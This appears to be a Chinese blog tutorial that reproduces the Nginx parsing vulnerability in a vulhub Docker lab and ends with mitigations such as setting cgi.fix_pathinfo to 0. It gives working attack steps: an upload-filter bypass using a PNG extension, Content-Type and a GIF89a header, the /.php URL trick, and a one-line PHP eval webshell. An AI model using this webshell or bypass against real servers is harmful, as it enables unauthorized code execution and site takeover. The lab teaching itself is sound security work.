中间件安全:Nginx 解析漏洞测试.

中间件安全:Nginx 解析漏洞测试.

Nginx 是一个高性能的 HTTP和 反向代理服务器,Nginx 解析漏洞是一个由于配置不当导致的安全问题,它不依赖于Nginx或PHP的特定版本,而是由于用户配置错误造成的。这个漏洞允许攻击者上传看似无害的文件,例如图片格式的文件,但实际上这些文件中包含了PHP代码。当这些文件被请求时,由于配置错误,Nginx会将这些文件作为PHP文件执行,从而可能允许攻击者执行任意代码。


目录:

[中间件安全:Nginx 解析漏洞测试.](#中间件安全:Nginx 解析漏洞测试.)

漏洞的危害:

靶场搭建:

(1)切换到环境目录.

(2)开启环境.

[(3)直接访问目标主机的 IP 地址就行.](#(3)直接访问目标主机的 IP 地址就行.)

[Nginx 解析漏洞测试:](#Nginx 解析漏洞测试:)

[(1)如果我上传一个 PHP 文件进去,他会显示请上传一个正常图片文件.](#(1)如果我上传一个 PHP 文件进去,他会显示请上传一个正常图片文件.)

(2)我们进行抓包,把修改文件后缀名png

(3)访问我们上传的文件是否存在.

[提高控制权,上传 webshell](#提高控制权,上传 webshell)

[(1)写一个 Webshell 的连接.](#(1)写一个 Webshell 的连接.)

(2)上传进行抓包,修改文件后缀名png

(3)访问我们上传的文件是否存在.

[(4)测试是否存在 Nginx 解析漏洞,在图片后面的 URL 中添加:/.php](#(4)测试是否存在 Nginx 解析漏洞,在图片后面的 URL 中添加:/.php)

[(5)使用连接工具进行连接上传的 Webshell 拿到网站控制权.](#(5)使用连接工具进行连接上传的 Webshell 拿到网站控制权.)

防御措施:

(1)使用规范化、模板化的配置文件,并确保它们经过安全测试。

(2)在系统上线前对敏感配置文件进行检查。

[(3)将 php.ini 文件中的 cgi.fix_pathinfo 的值设为 0](#(3)将 php.ini 文件中的 cgi.fix_pathinfo 的值设为 0)


漏洞的危害:

(1)攻击者可以绕过文件上传的检测,上传恶意文件。

(2)攻击者可以利用该漏洞执行系统命令,窃取或篡改数据。

(3)攻击者可能在服务器上留下后门,进一步控制服务器或内网。


靶场搭建:

环境搭建: Web安全:iwebsec || vulhub 靶场搭建.


(1)切换到环境目录.
复制代码
vulhub/nginx/nginx_parsing_vulnerability

(2)开启环境.
复制代码
sudo docker-compose up -d

(3)直接访问目标主机的 IP 地址就行.

Nginx 解析漏洞测试:

(1)如果我上传一个 PHP 文件进去,他会显示请上传一个正常图片文件.

(2)我们进行抓包,把修改文件后缀名png,Content-Type 类型为 image/png,最后在文件内容的头部添加 GIF89a

(3)访问我们上传的文件是否存在.

(4)测试是否存在 Nginx 解析漏洞,在图片后面的 URL 中添加:/.php


提高控制权,上传 webshell

(1)写一个 Webshell 的连接.
复制代码
<?php                                //一句话木马程序
    @eval($_POST['bgxg']);
?>

(2)上传进行抓包,修改文件后缀名png,Content-Type 类型为 image/png,最后在文件内容的头部添加 GIF89a

(3)访问我们上传的文件是否存在.

(4)测试是否存在 Nginx 解析漏洞,在图片后面的 URL 中添加:/.php

(5)使用连接工具进行连接上传的 Webshell 拿到网站控制权.

防御措施:

(1)使用规范化、模板化的配置文件,并确保它们经过安全测试。
(2)在系统上线前对敏感配置文件进行检查。
(3)将 php.ini 文件中的 cgi.fix_pathinfo 的值设为 0
相关推荐
失败又激情的man1 小时前
Scrapy进阶封装(第四阶段:中间件设置,动态UA,ip代理池)
爬虫·scrapy·中间件
独行soc2 小时前
#渗透测试#批量漏洞挖掘#HSC Mailinspector 任意文件读取漏洞(CVE-2024-34470)
linux·科技·安全·网络安全·面试·渗透测试
Me4神秘3 小时前
Linux国产与国外进度对垒
linux·服务器·安全
老K(郭云开)3 小时前
谷歌浏览器安全输入控件-allWebSafeInput控件
安全
亲爱的非洲野猪3 小时前
Kafka消息积压的多维度解决方案:超越简单扩容的完整策略
java·分布式·中间件·kafka
Whoisshutiao4 小时前
网安-XSS-pikachu
前端·安全·网络安全
还是奇怪5 小时前
Linux - 安全排查 2
linux·运维·安全
dyj0958 小时前
【Rancher Server + Kubernets】- Nginx-ingress日志持久化至宿主机
运维·nginx·rancher
PanZonghui9 小时前
Centos项目部署之Nginx部署项目
linux·nginx
Hellc00710 小时前
Nginx 高级 CC 与 DDoS 防御策略指南
运维·nginx·ddos